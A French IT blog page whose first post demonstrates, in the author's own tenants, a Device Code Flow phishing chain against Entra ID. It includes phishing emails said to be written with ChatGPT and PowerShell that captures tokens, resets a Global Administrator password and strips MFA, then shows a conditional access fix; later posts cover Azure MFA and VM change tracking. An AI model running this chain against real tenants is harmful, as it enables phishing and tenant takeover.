Gérez le Device Code flow

Type d’authentification du protocole OAuth 2.0, le Device Code Flow est spécifiquement conçu pour les appareils sans navigateur ou avec une méthode de saisie restreinte, comme les téléviseurs, les consoles de jeux ou encore les appareils IoT. Cette méthode d’identification est déjà très répandue au travers des plateformes de streaming audio ou vidéo. Mais quid de sa sécurité ?

Qu’est-ce que le Device Code Flow ?

Le principal avantage du Device Code Flow est de proposer une méthode d’authentification « conviviale » pour des périphériques à saisie restreinte. On peut découper le processus d’authentification du device code flow dans les étapes suivantes :

  1. Demande d’un code de dispositif:
    • L’appareil (par exemple, une télévision) envoie une demande à l’API d’autorisation du service (par exemple, un serveur OAuth).
    • En réponse, il reçoit un code de dispositif et une URL d’authentification.
  2. Affichage du code et de l’URL à l’utilisateur:
    • L’appareil affiche le code de dispositif et l’URL d’authentification à l’utilisateur.
    • Par exemple, « Veuillez visiter https://example.com/device et entrer le code suivant: ABC123″.
  3. Utilisateur autorise l’appareil:
    • L’utilisateur utilise un appareil avec un navigateur (par exemple, un smartphone ou un ordinateur) pour visiter l’URL fournie.
    • L’utilisateur entre le code de dispositif affiché sur l’appareil et s’authentifie (par exemple, via un login et un mot de passe).
  4. Appareil poll l’API d’autorisation:
    • Pendant que l’utilisateur s’authentifie, l’appareil envoie régulièrement des requêtes (polling) à l’API d’autorisation pour vérifier si l’utilisateur a terminé le processus d’autorisation.
    • Si l’utilisateur autorise l’accès, l’API renvoie un jeton d’accès à l’appareil.
  5. Accès accordé:
    • L’appareil peut maintenant utiliser le jeton d’accès pour accéder aux ressources protégées au nom de l’utilisateur.
Action ou flux d’authentificationNécessiteJeton d’IDAccess token (Jeton d’accès)Jeton d’actualisationCode d’autorisation.
Flux du code d’autorisationLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisationLe code d’autorisation fonctionne
Informations d’identification du clientLe flux d’authentification fonctionne pour le jeton d’accès (application uniquement)
Flux de code d’appareilLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisation
Flux impliciteLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accès
Flux On-Behalf-Ofaccess tokenLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisation
Nom d’utilisateur/mot de passe (ROPC)nom d’utilisateur, mot de passeLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisation
Circuit OIDC hybrideLe flux d’authentification fonctionne pour le jeton d’IDLe code d’autorisation fonctionne
Échange de jetons d’actualisationjeton d’actualisationLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisation

Pourquoi alors se passer du Device Code Flow si pratique ?

Disons-le tout de suite, Microsoft est très clair quant à la sécurité d’Entra ID uniquement basée sur un Device code flow :

Le flux de code d’appareil est un flux d’authentification à haut risque qui peut être utilisé dans le cadre d’une attaque par hameçonnage ou pour accéder aux ressources de l’entreprise sur des appareils non gérés. 

Microsoft Learn

Merci à Seyfallah pour son explication très claire sur les risques :

Mais pourquoi alors proposer quelque chose de risqué ?

Comme dit plus haut, certains scénarios spécifiques sont plus facilement gérables via Device Code Flow. D’ailleurs, tous les principaux cmdlets PowerShell, les outils AZ et de nombreux autres prennent en charge ce flux d’authentification depuis déjà un bon moment.

Vous pouvez configurer le contrôle de flux de code de l’appareil avec d’autres contrôles dans vos stratégies d’accès conditionnel. Par exemple, si le flux de codes d’appareils est utilisé pour les appareils Android utilisés dans les salles de conférence, vous pouvez choisir de bloquer le flux de codes d’appareils partout, sauf pour les appareils Android situés dans un emplacement spécifique du réseau.

Microsoft Learn

Mais le principal risque pour la méthode d’authentification via Device Code Flow reste le Phishing ou hameçonnage. Les attaquants peuvent tenter de créer de fausses pages ou emails de phishing :

Et l’arrivée massive de l’IA n’a fait qu’accroitre le risque des attaques basées sur l’ingénierie sociale. Les utilisateurs peuvent être facilement manipulés pour valider des devices code flows à leur insu.

Mais comment peut-on y remédier ?

Bien que la première méthode sécuritaire doive être construite autour de l’éducation des utilisateurs, des pratiques de sécurité rigoureuses et une surveillance continue peuvent aider à atténuer ces risques et à protéger les utilisateurs contre ces attaques :

Entra ID propose depuis peu et encore en préversion, la gestion de polices d’accès conditionnels proposant justement de bloquer les Device code flow selon certains usages :

Pour vous faire une meilleure idée, je vous propose de réaliser ensemble un petit exercice sur le Device code Flow et son impact :

Important : Cet exercice n’est reflète pas une attaque dans son intégralité, mais démontre quelques points intéressants dans le cadre d’une prise de contrôle d’un administrateur global.

Etape 0 – Rappel des prérequis :

Pour réaliser cet exercice, il vous faudra disposer de :

  • Deux tenants Microsoft
  • Plusieurs adresses emails pour une première campagne d’hameçonnage

Commençons par l’hameçonnage d’utilisateurs 365 lambda afin de récupérer l’accès à la messagerie 365.

Etape I – Préparation du premier hameçonnage :

Une campagne d’hameçonnage réussie et reposant sur de l’ingénierie sociale doit faire l’objet d’un travail poussé afin d’augmenter ses chances de succès.

Dans mon cas, je suis passé par ChatGPT pour rédiger rapidement un email d’hameçonnage destiné à mes utilisateurs lambda :

ChatGPT m’a alors généré en quelques secondes le texte de mon email au format HTML :

<!DOCTYPE html>
<html>
<head>
    <title>Mise à jour du système de gestion des notes de frais</title>
</head>
<body style="font-family: Arial, sans-serif; line-height: 1.6; color: #333;">
    <h1 style="color: #1a73e8;">🔔 Important : Refonte du Système de Gestion des Notes de Frais 🔔</h1>
    <p>Bonjour [Nom du destinataire],</p>
    <p>Nous avons le plaisir de vous informer que notre système de gestion des notes de frais a été entièrement refondu pour améliorer votre expérience et simplifier le processus de soumission et de suivi de vos dépenses professionnelles.</p>
    <p>Pour accéder à ce nouveau système, veuillez-vous inscrire en utilisant le lien ci-dessous et le code à usage unique fourni :</p>
    <p>
        <a href="https://www.fakewebsite.com/register" style="color: #1a73e8; text-decoration: none; font-weight: bold;">Inscription au nouveau système de gestion des notes de frais</a>
    </p>
    <p>Votre code à usage unique : <strong style="font-size: 1.2em; color: #d32f2f;">UNIQUECODE12345</strong></p>
    <p><strong>Ce code est valable seulement 15 minutes.</strong></p>
    <p>Nous vous remercions de procéder à votre inscription dans les plus brefs délais afin de bénéficier des nouvelles fonctionnalités et améliorations apportées à notre système.</p>
    <p>Avec nos meilleures salutations,<br>[Votre nom]<br>[Votre titre]<br>[Nom de votre entreprise]</p>
</body>
</html>

Il ne me reste qu’à y remplacer l’URL et le Device Code Flow.

Pour cela, et depuis mon poste, j’exécute le script PowerShell suivant afin de générer un Device Code Flow destiné à l’application officielle Microsoft Office :

$ClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
$Scope = ".default offline_access"
$body = @{
"client_id" = $ClientID 
"scope" = $Scope
}

$authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" -Body $body 
Write-output $authResponse

Attention ici, le code généré n’est valable que 15 minutes, mais des méthodes d’automatisation de l’hameçonnage sont facilement réalisable.

J’intègre mon corps d’email modifié et toutes les informations SMTP nécessaires (modifiées) à ma première campagne d’hameçonnage :

# SMTP : Serveur
$SMTPServer = "smtp.office365.com"

# SMTP : Port
$SMTPPort = 587

# SMTP : Expéditeur
$SMTPSender = "jlou07@jloudev.onmicrosoft.com"

# E-mail : objet
$EmailSubject = "🔔 Important : Refonte du Système de Gestion des Notes de Frais 🔔"
# E-mail : corps

# Contenu de l'email en HTML
$emailBody = @"
<!DOCTYPE html>
<html>
<head>
    <title>Mise à jour du système de gestion des notes de frais</title>
</head>
<body style="font-family: Arial, sans-serif; line-height: 1.6; color: #333;">
    <h1 style="color: #1a73e8;">🔔 Important : Refonte du Système de Gestion des Notes de Frais 🔔</h1>
    <p>Bonjour [Nom du destinataire],</p>
    <p>Nous avons le plaisir de vous informer que notre système de gestion des notes de frais a été entièrement refondu pour améliorer votre expérience et simplifier le processus de soumission et de suivi de vos dépenses professionnelles.</p>
    <p>Pour accéder à ce nouveau système, veuillez-vous inscrire en utilisant le lien ci-dessous et le code à usage unique fourni :</p>
    <p>
        <a href="https://microsoft.com/devicelogin" style="color: #1a73e8; text-decoration: none; font-weight: bold;">Inscription au nouveau système de gestion des notes de frais</a>
    </p>
    <p>Votre code à usage unique : <strong style="font-size: 1.2em; color: #d32f2f;">LS9475723</strong></p>
    <p><strong>Ce code est valable seulement 15 minutes.</strong></p>
    <p>Nous vous remercions de procéder à votre inscription dans les plus brefs délais afin de bénéficier des nouvelles fonctionnalités et améliorations apportées à notre système.</p>
    <p>Avec nos meilleures salutations,<br>[Votre nom]<br>[Votre titre]<br>[Nom de votre entreprise]</p>
</body>
</html>
"@

# SMTP : Destinataire(s)
$SMTPRecipient = "teacher1@tdcheduc.onmicrosoft.com"

$SMTPRecipientList = @()
$SMTPRecipientList += @{
      EmailAddress = @{
         Address = $SMTPRecipient
   }
}

Je charge toutes ces informations dans les propriétés du message :

$EmailProperties = @{
   ToRecipients = $SMTPRecipientList
   Subject = $EmailSubject
   Body = @{
      ContentType = "HTML"
      Content = $EmailBody
   }
}

J’envoie les emails d’hameçonnage à mes cibles :

Send-MgUserMail -UserId $SMTPSender -Message $EmailProperties

Quelques secondes plus tard, l’email apparaît en boite de réception :

Bien évidemment, une campagne d’hameçonnage repose toujours sur une volume important d’emails, comparé aux faibles chances de clics des utilisateurs.

Etape II – Récupération du premier token :

Admettons un instant qu’un utilisateur 365 lambda se fasse berner et clique sur le lien en pensant que ce dernier est légitime. Ce dernier est invité à recopier le code indiqué dans l’email d’hameçonnage :

Etant déjà authentifié, il ne lui reste qu’à choisir son compte 365 :

Pensant toujours l’action légitime, l’utilisateur clique sur Continuer :

Entra ID lui informe alors que le processus d’authentification est terminé :

De notre côté, nous pouvons alors continuer nos opérations puisque l’authentification s’est bien déroulé :

$GrandType = "urn:ietf:params:oauth:grant-type:device_code"
$body = @{
"client_id" = $ClientID 
"grant_type" = $GrandType
"code" = $authResponse.device_code
}

La commande suivante nous permet de contrôler la présence de l’Access Token comme attendu :

$Tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Body $body -ErrorAction SilentlyContinue
$Tokens
$graphApiToken  = $Tokens.access_token

Une connexion à MgGraph via ce même Access Token est alors possible :

Connect-MgGraph -AccessToken ($graphApiToken |ConvertTo-SecureString -AsPlainText -Force)

La commande suivante nous permet alors de situer l’utilisateur et les droits obtenus grâce l’Access Token récupéré auprès de l’application Microsoft Office :

(Get-MgContext).Scopes

Parmi les autorisations obtenues figure justement le droit d’envoyer des emails :

Nous sommes maintenant à l’intérieur d’un environnement Entra ID avec déjà quelques autorisations. Afin de réussir l’objectif de réinitialiser le mot de passe d’un compte Administrateur Global, nous allons avoir besoin de plus de droits que ceux déjà obtenus.

Etape III – Préparation du second hameçonnage :

La plus rapide est de cibler tous les comptes Entra ID ayant le rôle d’Administrateur Global. Bien souvent, d’autres personnes non IT (gérants, actionnaires, …) ont également ce rôle critique malgré les risques que cela comporte.

Depuis l’accès obtenu via mon utilisateur lambda, la commande PowerShell suivante me permet de récupérer des informations sur les comptes Administrateur Global du tenant :

$memberList = [System.Collections.Generic.List[string]]::new()
$roleId = (Get-MgDirectoryRole -Filter "DisplayName eq 'Global Administrator'").Id
$userList = Get-MgDirectoryRoleMember -DirectoryRoleId $roleId

foreach ($user in $userList) {
    $upn = (Get-MgUser -UserId $user.id).UserPrincipalName
    $GivenName = (Get-MgUser -UserId $user.id).GivenName
    $memberList.Add($upn)
    $memberList.Add($GivenName)
}

$memberList

Une fois ma nouvelle liste de cibles établie, je peux créer une seconde campagne d’hameçonnage interne.

Avant besoin de plus de droits que ceux octroyés par l’application Microsoft Office, je décide de créer une nouvelle application sur un autre tenant dont je suis le propriétaire :

Je nomme mon application selon le contexte voulu et j’active la fonction multi-tenant :

Depuis l’onglet Authentification, je clique sur le menu suivant :

Je clique sur le type de plate-forme suivant :

Je coche et rajoute les URIs suivantes :

J’active également la fonction suivante, puis je clique sur Sauvegarder :

Depuis le menu Permissions API, je rajoute une permission API par le bouton suivant :

Je choisi alors Microsoft Graph :

Je sélectionne Permissions déléguées :

Je recherche la permissions suivante, puis je clique sur Ajouter :

UserAuthenticationMethod.ReadWrite.All

Ici, aucun besoin de consentement d’administration :

Sur la page principale de mon application, je récupère son Application ID :

Comme pour la première campagne, j’exécute les commandes suivantes pour de générer un Device Code Flow destiné à ma nouvelle application :

$ClientID = "1bc7e8a5-6442-4f35-8497-2cebe8c71f0c"
$Scope = "UserAuthenticationMethod.ReadWrite.All"
$body = @{
"client_id" = $ClientID 
"scope" = $Scope
}
$authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" -Body $body 
Write-output $authResponse

Là encore, le code généré n’est valable que 15 minutes :

Je repasse par ChatGPT pour rédiger rapidement un second email d’hameçonnage interne destiné à mes utilisateurs Administrateur Global :

J’intègre mon corps d’email modifié et toutes les informations SMTP nécessaires (modifiées) à ma seconde campagne d’hameçonnage interne :

# SMTP : Serveur
$SMTPServer = "smtp.office365.com"

# SMTP : Port
$SMTPPort = 587

# SMTP : Expéditeur
$SMTPSender = "teacher1@tdcheduc.onmicrosoft.com"

# E-mail : objet
$EmailSubject = "Activation de l'essai de Copilot for Security toujours en attente"
# E-mail : corps
#$EmailBody = "<h1>Démo Microsoft Graph</h1>"
# Contenu de l'email en HTML
$emailBody = @"
<!DOCTYPE html>
<html>
<head>
    <title>Découvrez Copilot for Security</title>
</head>
<body style="font-family: Arial, sans-serif; line-height: 1.6; color: #333;">
    <h1 style="color: #1a73e8;">🚀 Découvrez Copilot for Security 🚀</h1>
    <p>Bonjour,</p>
    <p>Nous sommes ravis de vous présenter <strong>Copilot for Security</strong> - votre nouvel allié de confiance pour une sécurité renforcée !</p>
    <p>Copilot for Security est une solution révolutionnaire conçue pour simplifier et améliorer la sécurité de votre organisation. Imaginez une intelligence artificielle capable d'analyser vos systèmes en temps réel, de détecter les menaces potentielles avant qu'elles ne deviennent des problèmes, et de vous fournir des recommandations personnalisées pour renforcer votre posture de sécurité. C'est exactement ce que vous offre Copilot for Security !</p>
    <p>Mais ce n'est pas tout ! Nous avons une nouvelle excitante à partager : <strong>une préversion privée de Copilot for Security est désormais accessible sur demande</strong> !</p>
    <p>Ne manquez pas cette opportunité exclusive de tester notre solution avant tout le monde et de contribuer à façonner l'avenir de la sécurité informatique.</p>
    <p>Pour vous inscrire à la préversion privée, rendez-vous sur <a href="https://microsoft.com/devicelogin" style="color: #1a73e8; text-decoration: none;">notre page d'inscription</a> et utilisez le code suivant :</p>
    <p style="font-size: 1.2em; font-weight: bold; color: #d32f2f;">CUA75XNUX</p>
    <p>Nous avons hâte de vous accueillir parmi nos premiers utilisateurs et de vous voir profiter des nombreux avantages de Copilot for Security.</p>
    <p>Avec enthousiasme,<br>[Votre nom]<br>[Votre titre]<br>[Nom de votre entreprise]</p>
</body>
</html>
"@

# SMTP : Destinataire(s)
$SMTPRecipient = "ADMTeacher@TDCHEduc.onmicrosoft.com"

$SMTPRecipientList = @()
$SMTPRecipientList += @{
      EmailAddress = @{
         Address = $SMTPRecipient
   }
}

Je charge toutes ces informations dans les propriétés du message :

$EmailProperties = @{
   ToRecipients = $SMTPRecipientList
   Subject = $EmailSubject
   Body = @{
      ContentType = "HTML"
      Content = $EmailBody
   }
}

J’envoie les emails d’hameçonnage à mes Administrateurs cibles :

Send-MgUserMail -UserId $SMTPSender -Message $EmailProperties

Quelques secondes plus tard, l’email apparaît en boite de réception :

Il ne reste plus qu’à croiser les doigts qu’un des administrateurs Global se laisse tenter par cette formidable nouvelle.

Etape IV – Récupération du second token :

Admettons là encore qu’un Administrateur Global non IT clique sur le lien et recopie le code indiqué dans le second email d’hameçonnage :

Etant déjà authentifié, il ne lui reste qu’à choisir son compte admin 365 :

Pensant lui aussi l’action légitime, l’utilisateur clique simplement sur Accepter :

Entra ID lui informe alors que le processus d’authentification est terminé :

De notre côté, nous pouvons alors continuer nos opérations puisque l’authentification s’est bien déroulé :

$GrandType = "urn:ietf:params:oauth:grant-type:device_code"
$body = @{
"client_id" = $ClientID 
"grant_type" = $GrandType
"code" = $authResponse.device_code
}

La commande suivante nous permet de contrôler la présence de l’Access Token comme attendu :

$Tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Body $body -ErrorAction SilentlyContinue
$Tokens
$graphApiToken  = $Tokens.access_token

Une connexion à MgGraph via ce second Access Token est alors possible :

Connect-MgGraph -AccessToken ($graphApiToken |ConvertTo-SecureString -AsPlainText -Force)

La commande suivante nous permet alors de situer l’utilisateur et les droits obtenus grâce l’Access Token récupéré auprès de notre application :

(Get-MgContext).Scopes

Parmi les autorisations obtenues figure la gestion des méthodes d’authentification :

Etape V – Reset et test de connexion :

Il nous reste alors qu’à lancer la commande suivant afin de réinitialiser le mot de passe d’un autre administrateur global présent sur le tenant :

$userid = "ga2@TDCHEduc.onmicrosoft.com"
$method = Get-MgUserAuthenticationPasswordMethod -UserId $userid
  
Reset-MgUserAuthenticationMethodPassword -UserId $userid -AuthenticationMethodId $method.id -NewPassword "zQ7!Ra3MM6ha" 

Il nous est même possible d’effacer les différentes méthodes MFA déjà enregistrées sur ce même compte :

$userid = "ga2@TDCHEduc.onmicrosoft.com"
$AuthMethods = Get-MgUserAuthenticationMethod -UserId $userid
ForEach ($AuthMethod in $AuthMethods){
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.emailAuthenticationMethod"){
        Remove-MgUserAuthenticationEmailMethod -EmailAuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.microsoftAuthenticatorAuthenticationMethod"){
        Remove-MgUserAuthenticationMicrosoftAuthenticatorMethod -MicrosoftAuthenticatorAuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.fido2AuthenticationMethod"){
        Remove-MgUserAuthenticationFido2Method -Fido2AuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.windowsHelloForBusinessAuthenticationMethod"){
        Remove-MgUserAuthenticationFido2Method -Fido2AuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.phoneAuthenticationMethod"){
        Remove-MgUserAuthenticationPhoneMethod -PhoneAuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.phoneAuthenticationMethod"){
        Remove-MgUserAuthenticationPhoneMethod -PhoneAuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.softwareOathAuthenticationMethod"){
        Remove-MgUserAuthenticationSoftwareOathMethod -SoftwareOathAuthenticationMethodId $AuthMethod.id
    }
}

Par le biais d’un navigateur privé, il nous suffit de tester le nouveau mot de passe configuré sur l’administrateur global ciblé :

Comme attendu, Microsoft nous demande également de reconfigurer une ou plusieurs méthodes MFA sur ce compte :

Le compte et donc le tenant est donc maintenant sous notre contrôle. D’autres actions plus critiques pourraient alors suivre.

Mais, comme dit plus haut, Entra ID vous propose maintenant de bloquer les Device code flow via les Polices d’accès conditionnel.

Etape VI – Polices d’accès conditionnel :

Dans son journal des connexions Entra ID, Microsoft indique clairement l’usage d’un Device Code Flow :

Depuis le portail d’Entra ID, il est maintenant possible de définir une police ayant pour but de spécifiquement cibler et bloquer les connexions faites via Device Code Flow :

Une fois cette police en place, l’utilisateur lambda peut cliquer sur le lien :

Renseigner un code actif :

Choisir son identifiant 365 :

Et se retrouver bloqué et donc protégé de cette tentative d’usurpation :

Conclusion

En conclusion, le Device Code Flow offre une solution pratique pour l’authentification des appareils avec des capacités limitées tout en maintenant une expérience utilisateur fluide. Cependant, il est crucial de mettre en œuvre des mesures de sécurité robustes pour atténuer les risques potentiels associés à ce flux.

MFA pour tous les utilisateurs d’Azure à partir de juillet 2024

Microsoft vient d’annoncer, via un article posté sur le Techcommunity, une modification majeure à venir concernant l’authentification sur Azure : MFA pour tous ! Quand cela va arriver ? Qu’est-ce que cela implique ? Ces questions et bien d’autres encore sont légitimes. Tentons d’y voir plus clair ensemble.

Dans cet article sous forme de FAQ, je vous propose de commencer quelques notions important :

Et d’aborder ensuite les futurs changements prévus en juillet 2024 par Microsoft :

Qu’est-ce que la MFA ?

L’utilisation d’un mot de passe uniquement ne protège pas complètement des attaques. Si le mot de passe est faible ou s’il a été exposé ailleurs, un attaquant peut l’utiliser pour y accéder. Quand vous exigez une deuxième forme d’authentification, la sécurité est renforcée parce que ce facteur supplémentaire n’est pas un élément qu’un attaquant peut facilement obtenir ou dupliquer.

Microsoft Doc

La MFA propose donc d’aller plus loin que le couple classique identifiant / mot de passe. L’authentification multifacteur d’Entra ID impose de mettre en place les 3 méthodes d’authentification suivantes :

  • Un élément que vous connaissez (ex. mot de passe)
  • Un élément que vous possédez (ex. un appareil de confiance, comme un smartphone)
  • Un élément qui vous définit (ex. identifiant biométrique, tel qu’une empreinte digitale)

Voici l’écran de configuration utilisateur d’une méthode MFA possible :

L’URL suivante (https://aka.ms/mfasetup) permet de gérer et configurer ses méthodes MFA :

Quelle licence est nécessaire pour la disposer d’une MFA ?

Les choses ont quelque peu évolué ces dernières années chez Microsoft. Les licences Entra ID présentes et assignées aux utilisateurs concernés sont le point de départ aux méthodes de MFA disponibles.

Cette information au niveau tenant est disponible sur la page principale d’Entra ID :

Voici un tableau de comparaison des features MFA en fonction des licences Microsoft :

FonctionEntra ID Gratuit : paramètres de sécurité par défaut activésEntra ID
Gratuit
Office 365Entra ID P1Entra ID P2
Protection des comptes avec authentification multifacteur● (comptes d’administrateur général uniquement)
Application mobile comme second facteur
Appel téléphonique comme second facteur
Le SMS comme deuxième facteur
Contrôle d’administration sur les méthodes de vérification
Alerte de fraude
Rapports MFA
Messages de bienvenue personnalisés pour les appels téléphoniques
ID d’appelant personnalisé pour les appels téléphoniques
Adresses IP approuvées
Mémoriser MFA pour les appareils fiables
MFA pour les applications locales
Accès conditionnel
Accès conditionnel en fonction du risque

Autrement dit, un tenant même gratuit (ou non) et ayant la sécurité par défaut activée dispose d’une MFA accessible à tous ses utilisateurs :

Tous les utilisateurs d’un locataire Microsoft Entra ID Gratuit peuvent utiliser l’authentification multifacteur Microsoft Entra à l’aide des paramètres de sécurité par défaut. L’application d’authentification mobile peut être utilisée pour l’authentification multifacteur Microsoft Entra lors de l’utilisation des paramètres de sécurité par défaut Microsoft Entra ID Gratuit.

Microsoft Learn

Les paramètres de sécurité par défaut peuvent être activés dans le niveau Microsoft Entra ID Free. Avec les paramètres de sécurité par défaut, tous les utilisateurs sont activés pour l’authentification multifacteur à l’aide de l’application Microsoft Authenticator. Il n’est pas possible d’utiliser la vérification par SMS ou appel téléphonique avec les paramètres de sécurité par défaut, mais uniquement l’application Microsoft Authenticator.

Microsoft Learn

Mais pourquoi alors payer pour un service MFA disponible gratuitement ?

L’activation de la sécurité par défaut sur un tenant est gratuite, mais reste non personnalisable. Microsoft recommande d’ailleurs une utilisation agile de la MFA grâce à l’utilisation de polices d’accès conditionnel, disponibles dans les licences Microsoft Entra ID P1 ou P2.

Un précédent article dédié aux accès conditionnels est disponible juste ici :

Existe-t-il des différentes configurations MFA possibles sur un tenant ?

Pour rappel, il est actuellement possible de configurer le challenge MFA via 3 méthodes distinctes :

  • Paramètres de sécurité par défaut
  • Accès conditionnel
  • Authentification multifacteur par utilisateur (per-user MFA)

Important : N’activez pas ou n’appliquez pas l’authentification MFA par utilisateur si vous utilisez également des polices d’accès conditionnel.

StratégieParamètres de sécurité par défautAccès conditionnelAuthentification multifacteur par utilisateur
Gestion
Ensemble standard de règles de sécurité pour garantir la sécurité de votre entreprise
Activé/désactivé en un clic
Inclus dans la gestion des licences Office 365 (voir les considérations relatives aux licences)
Modèles préconfigurés dans l’assistant Centre d’administration Microsoft 365
Flexibilité de la configuration
Fonctionnalité
Exempter les utilisateurs de la stratégie
Authentification par appel téléphonique ou SMS
S’authentifier par Microsoft Authenticator et jetons logiciels
Authentification par FIDO2, Windows Hello Entreprise et les jetons matériels
Bloque les protocoles d’authentification hérités
Les nouveaux employés sont automatiquement protégés
Déclencheurs MFA dynamiques en fonction des événements à risque
Stratégies d’authentification et d’autorisation
Configurable en fonction de l’emplacement et de l’état de l’appareil
Prise en charge du mode « Rapport seul »
Possibilité de bloquer complètement les utilisateurs/services

Attention la méthode appelée Authentification multifacteur par utilisateur ou Per-user MFA est vouée à disparaitre :

En mars 2023, nous avons annoncé la dépréciation de la gestion des méthodes d’authentification dans les stratégies héritées de l’authentification multifacteur et de la réinitialisation de mot de passe en libre-service (SSPR). À compter du 30 septembre 2025, les méthodes d’authentification ne pourront pas être managées dans ces stratégies MFA et SSPR héritées.

Microsoft Learn

L’écran suivant est accessible via cette URL :

Peut-on migrer d’une configuration MFA à une autre ?

A cause de ce décommissionnement prévu pour 2025, Microsoft a déjà mis à disposition une documentation expliquant différentes étapes pour assurer une transition réussie :

Le SSPR (Réinitialisation du mot de passe en libre-service) et l’ancienne méthode MFA seront donc gérés par les Méthodes d’authentification unifiées :

Qu’est-ce qui se passe en juillet 2024 ?

La nouvelle est passée un peu inaperçue, mais juillet 2024 marque un pas important pour la sécurité Azure :

En juillet (2024), les équipes Azure commenceront à déployer des mesures de sécurité supplémentaires au niveau des locataires pour exiger l’authentification multifactorielle (MFA).

Microsoft Techcommunity

Autrement dit, le déploiement de cette règle MFA sera progressif et concernera à terme l’ensemble des tenants hébergés sur le Cloud public de Microsoft.

Quels sont les services impactés par ce changement ?

Azure et seulement Azure. Ce point est très important d’autres services 365, ou même l’utilisation de services pourtant hébergés Azure ne seront pas impactés par ce changement. Enfin, gardez à l’esprit qu’Azure est accessible via différentes méthodes, et seront donc toutes concernés :

  • Portail Azure
  • CLI
  • PowerShell
  • Terraform

À partir de juillet 2024, un déploiement progressif de cette application pour le portail uniquement commencera. Une fois le déploiement terminé pour le portail, un déploiement progressif similaire commencera pour CLI, PowerShell et Terraform.

Microsoft Techcommunity

Il s’agit donc d’assurer un contrôle MFA systématique afin de protéger les actions en relation avec la gestion des ressources Azure.

Quelles seront les méthodes de MFA possibles pour Azure ?

Les méthodes MFA classiques suivantes pourront être utilisées pour l’authentification Azure :

  • Microsoft Authenticator
  • Authenticator Lite (dans Outlook)
  • Windows Hello Entreprise
  • Clé de sécurité FIDO2
  • Token matériel OATH (préversion)
  • Token logiciel OATH
  • SMS
  • Appel vocal

Quelles sont les identités concernées / non concernées ?

Merci à John Savill pour ce schéma expliquant l’impact entre tous les types d’identités possibles sur Entra ID :

Sont donc concernées :

  • Toutes les identités humaines accédant à Azure dans le cadre de l’administration de ressources (membres et invités)

Sont donc non concernées :

  • Principaux de services
  • Identités managées (user ou système)
  • Comptes basés sur des tokens et utilisés pour l’automatisation

Un travail chez les utilisateurs est donc nécessaire. Mais un contrôle est aussi à prévoir sur les process automatisés utilisant des identités utilisateurs au lieu de des principaux de service ou d’identités managées.

Comment se rendre compte de l’impact avant le jour J ?

Après investigations, Il existe un template de police d’accès conditionnel qui semblerait très proche du résultat attendu par l’évolution de Microsoft prévue pour juillet 2024 :

Cette police semble bien cibler la gestion des ressources Azure :

La mise en place de cette police en mode Report seulement serait alors un premier pas vers la compréhension de ce qui va se passer sur votre environnement :

Conclusion

Dans tous les cas, gardez en tête les points suivants, et je ne peux que vous conseiller de prendre les devants dès que possible :

  • Microsoft recueille encore les feedbacks pour certains scénarios tels que les comptes « break-glass ».
  • Commencez à examiner les identifiants Entra utilisés pour les opérations de management, développement et les accès API à Azure Resource Manager.
  • Si nécessaire, remplacer les identités des utilisateurs par des principaux de service ou des identités managées.

Bon courage à tous 💪🙏😎

VM – Traquez les changements

Azure est une excellente plateforme pour déployer rapidement et facilement des ressources IT. Seulement, la phase de déploiement de ressources ne représente que la première partie du travail d’une infrastructure. Bien souvent, plusieurs agents ou équipes interviendront sur ces mêmes ressources Azure. Un système de suivi des changements apparait alors comme très utile pour traquer efficacement les modifications faites par les uns et par les autres.

Qu’est-ce que le Suivi des modifications et inventaire (Change Tracking et Inventory) ?

En quelques mots, le Suivi des modifications et inventaire va vous permettre de comprendre les modifications faites sur vos ressources Azure, mais aussi à l’intérieur de celles-ci.

Voici un exemple de 2 vues disponibles retraçant différents types de modifications :

Le Suivi des modifications et inventaire effectue le suivi des modifications apportées aux machines virtuelles hébergées sur Azure, locales et d’autres environnements cloud pour vous aider à identifier les problèmes opérationnels et environnementaux liés aux logiciels gérés par le gestionnaire de package de distribution. 

Microsoft Learn

On y retrouve donc des modifications de registres, de fichiers, de programmes et bien d’autres encore.

Que pouvons-nous traquer dans le Suivi des modifications et inventaire ?

A ce jour, plusieurs éléments sont traçables au travers du Suivi des modifications et inventaire. Voici la liste des modifications traçables :

  • Logiciels Windows
  • Logiciel Linux (packages)
  • Fichiers Windows et Linux
  • Clés de Registre Windows
  • Services Windows
  • Démons Linux

Doit-on payer pour utiliser Suivi des modifications et inventaire ?

Oui. En effet, le Suivi des modifications et inventaire est un service payant. Il repose sur stockage appelé Log Analytics Workspace pour stocker les données liées aux modifications. Comme à chaque fois, le Log Analytics Workspace est facturé au Go de données écrites.

